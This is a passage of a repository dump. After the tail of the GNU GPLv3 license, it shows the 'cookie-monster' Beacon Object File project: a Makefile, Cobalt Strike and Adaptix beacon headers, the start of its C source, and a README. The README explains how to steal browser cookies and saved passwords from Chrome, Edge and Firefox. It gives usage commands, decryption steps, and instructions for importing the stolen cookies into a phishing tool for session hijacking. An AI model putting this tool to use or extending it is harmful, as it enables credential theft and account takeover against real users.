Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Creds-BOF/cookie-monster/Makefile",
    "content": "all:\n\tx86_64-w64-mingw32-gcc -DBOF -c cookie-monster-bof.c -o cookie-monster-bof.x64.o -Wdiscarded-qualifiers -Wincompatible-pointer-types\n\tx86_64-w64-mingw32-strip --strip-unneeded cookie-monster-bof.x64.o\n\ti686-w64-mingw32-gcc -DBOF -Wdiscarded-qualifiers -Wincompatible-pointer-types -c cookie-monster-bof.c -o cookie-monster-bof.x86.o\nclean:\n\trm cookie-monster.x64.o\n\trm cookie-monster.x86.o\n"
  },
  {
    "path": "Creds-BOF/cookie-monster/README.md",
    "content": "# Cookie-Monster-BOF\nSteal browser cookies for edge, chrome and firefox through a BOF!\n\nCookie Monster BOF will extract the WebKit Master Key and the App Bound Encryption Key for both Edge and Chrome, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target file(s).\n\nOnce the Cookies/Login Data file(s) are downloaded, the python decryption script can be used to extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption.  \n\nChrome & Edge 127+ Updates: new chromium browser cookies (v20) use the app bound key to encrypt the cookies. As a result, this makes retrieving the app_bound_encrypted_key slightly more difficult. Thanks to [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) this process can be accomplished without having to escalate your privileges. The catch is your process must be running out of the web browser's application directory. i.e. must inject into Chrome/Edge or spawn a beacon from the same application directory as the browser. \n\nLatest update allows you to decrypt cookies as SYSTEM and without having to inject into the browser process! Shoutout to @sdemius for the discovering how to decrypt the Chrome's [PostProcessData](https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=216;bpv=1) function and @b1scoito [explanation](https://github.com/moonD4rk/HackBrowserData/issues/431#issuecomment-2606665195)! Chrome 137+ changed the PostProcessData() function once again, shoutout to [@runassu](https://github.com/runassu/chrome_v20_decryption) for figuring it out! \n \n## BOF Usage\n```\nUsage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file \"C:\\Folder\\Location\\\"] \ncookie-monster Examples: \n   cookie-monster --chrome \n   cookie-monster --edge\n   cookie-monster --system \"C:\\Users\\<USER>\\AppData\\Local\\<BROWSER>\\User Data\\Local State\" <PID>\n   cookie-moster --firefox \n   cookie-monster --chromeCookiePID <PID>\n   cookie-monster --chromeLoginDataPID <PID> \n   cookie-monster --edgeCookiePID <PID> \n   cookie-monster --edgeLoginDataPID <PID> \ncookie-monster Options: \n    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD \n    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD \n    --system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation \n    --firefox, looks for profiles.ini and locates the key4.db and logins.json file \n    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \n    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file   \n    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \n    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  \n    --key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files. \n    --cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key. \n    --login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.  \n    --copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.   \n```\n## Compile BOF \nEnsure Mingw-w64 and make is installed on the linux prior to compiling.\n```\nmake\n```\n\n## Decryption Steps\nInstall requirements\n```\npip3 install -r requirements.txt\n```\n\nUsage\n```\npython3 decrypt.py -h                                                                                                                                                                      \nusage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]\n\nDecrypt Chromium cookies and passwords given a key and DB file\n\noptions:\n  -h, --help            show this help message and exit\n  -k KEY, --key KEY     Decryption key\n  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}\n                        Option to choose\n  -f FILE, --file FILE  Location of the database file\n  --chrome-aes-key CHROME_AES_KEY\n                        Chrome AES Key\n```\n\nExamples:\nDecrypt Chrome/Edge Cookies File\n```\npython .\\decrypt.py -k \"\\xec\\xfc....\" -o cookies -f ChromeCookies.db\n\nResults Example:\n-----------------------------------\nHost: .github.com\nPath: /\nName: dotcom_user\nCookie: KingOfTheNOPs\nExpires: Oct 28 2024 21:25:22\n\nHost: github.com\nPath: /\nName: user_session\nCookie: x123.....\nExpires: Nov 11 2023 21:25:22\n```\nDecrypt Chrome Cookies with Chrome AES Key\n```\npython3 decrypt.py --chrome-aes-key '\\x8e\\....' -k \"\\x03\\....\" -o cuddlephish -f ChromeCookies.db\nCookies saved to cuddlephish_2025-07-03_01-53-57.json\n```\nDecrypt Chrome/Edge Cookies File and save to json\n```\npython .\\decrypt.py -k \"\\xec\\xfc....\" -o cookie-editor -f ChromeCookies.db\nResults Example:\nCookies saved to 2025-04-11_18-06-10_cookies.json\n```\nImport cookies JSON file with https://cookie-editor.com/ \n\nDecrypt Chome/Edge Passwords File\n```\npython .\\decrypt.py -k \"\\xec\\xfc....\" -o passwords ChromePasswords.db\n\nResults Example:\n-----------------------------------\nURL: https://test.com/\nUsername: tester\nPassword: McTesty\n```\nDecrypt Firefox Cookies and Stored Credentials: <br>\nhttps://github.com/lclevy/firepwd\n\n### CuddlePhish Support\nadded cuddlephish option to the decrypt script which should support using the cookie with https://github.com/fkasler/cuddlephish\n\n```\n# Decrypt Cookies\npython3 decrypt.py -k \"\\xec\\xfc...\" -o cuddlephish -f ChromeCookies.db\n\n# Clone Project\ncd \ngit clone https://github.com/fkasler/cuddlephish\ncd cuddlephish\n\n# Install Dependencies Example on Debian \ncurl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh\nsudo -E bash nodesource_setup.sh\nsudo apt-get install nodejs\nnpm install\n\n# Import Cookies\ncp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .\nnode stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json\n```\n\n## References\nThis project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos!\nHighly recommend checking out his lessons!!! <br>\nCookie Webkit Master Key Extractor:\nhttps://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF <br>\nFileless download:\nhttps://github.com/fortra/nanodump <br>\nDecrypt Cookies and Login Data:\nhttps://github.com/login-securite/DonPAPI <br>\nApp Bound Key Decryption:\nhttps://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824 <br>\nDecrypt Chrome 137+ Cookies\nhttps://github.com/runassu/chrome_v20_decryption\n"
  },
  {
    "path": "Creds-BOF/cookie-monster/adaptix.h",
    "content": "#pragma once\n\n#include \"beacon.h\"\n\nDECLSPEC_IMPORT void AxAddScreenshot(char* note, char* data, int len);\nDECLSPEC_IMPORT void AxDownloadMemory(char* filename, char* data, int len);\n"
  },
  {
    "path": "Creds-BOF/cookie-monster/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n */\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/*\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  sections     - list of memory sections beacon wants to mask. These are offset values\n *                 from the beacon_ptr and the start value is aligned on 0x1000 boundary.\n *                 A section is denoted by a pair indicating the start and end offset values.\n *                 The list is terminated by the start and end offset values of 0 and 0.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n */\ntypedef struct {\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tDWORD * sections;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n} BEACON_INFO;\n\nDECLSPEC_IMPORT void   BeaconInformation(BEACON_INFO * info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();"
  },
  {
    "path": "Creds-BOF/cookie-monster/cookie-monster-bof.c",
    "content": "#include <windows.h>\n#include <stdint.h> \n#include <ctype.h>\n#include <stdio.h>\n#include <tlhelp32.h>\n#include \"cookie-monster-bof.h\"\n#include \"adaptix.h\"\n\n// Function declarations\nBOOL download_file(IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLength);\nBOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *downloadFileName, CHAR * folderPath);\n\nWINBASEAPI DWORD   WINAPI KERNEL32$GetLastError (VOID);\nWINBASEAPI HANDLE  WINAPI KERNEL32$CreateFileA (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\nWINBASEAPI DWORD   WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);\nWINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalAlloc (UINT uFlags, SIZE_T dwBytes);\nWINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalReAlloc (HGLOBAL hMem, SIZE_T dwBytes, UINT uFlags);\nWINBASEAPI BOOL WINAPI    KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI BOOL WINAPI    KERNEL32$CloseHandle (HANDLE hObject);\nWINBASEAPI char* __cdecl  MSVCRT$strstr (char* _String, const char* _SubString);\nWINBASEAPI size_t __cdecl MSVCRT$strlen (const char *s);\nDECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nWINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\n\nWINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf();\nWINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);\nWINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE);\nWINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch);\n\nWINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);\nWINBASEAPI char* __cdecl  MSVCRT$strncpy (char * __dst, const char * __src, size_t __n);\nWINBASEAPI char* __cdecl  MSVCRT$strncat (char * _Dest,const char * _Source, size_t __n);\nDECLSPEC_IMPORT int WINAPI MSVCRT$strcmp(const char*, const char*);\nWINBASEAPI BOOL  WINAPI   CRYPT32$CryptUnprotectData (DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsncpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count);\nWINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1, const wchar_t *_Str2);\nWINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree (HGLOBAL hMem);\nWINBASEAPI HANDLE WINAPI  KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);\nWINBASEAPI BOOL WINAPI    KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\nWINBASEAPI BOOL 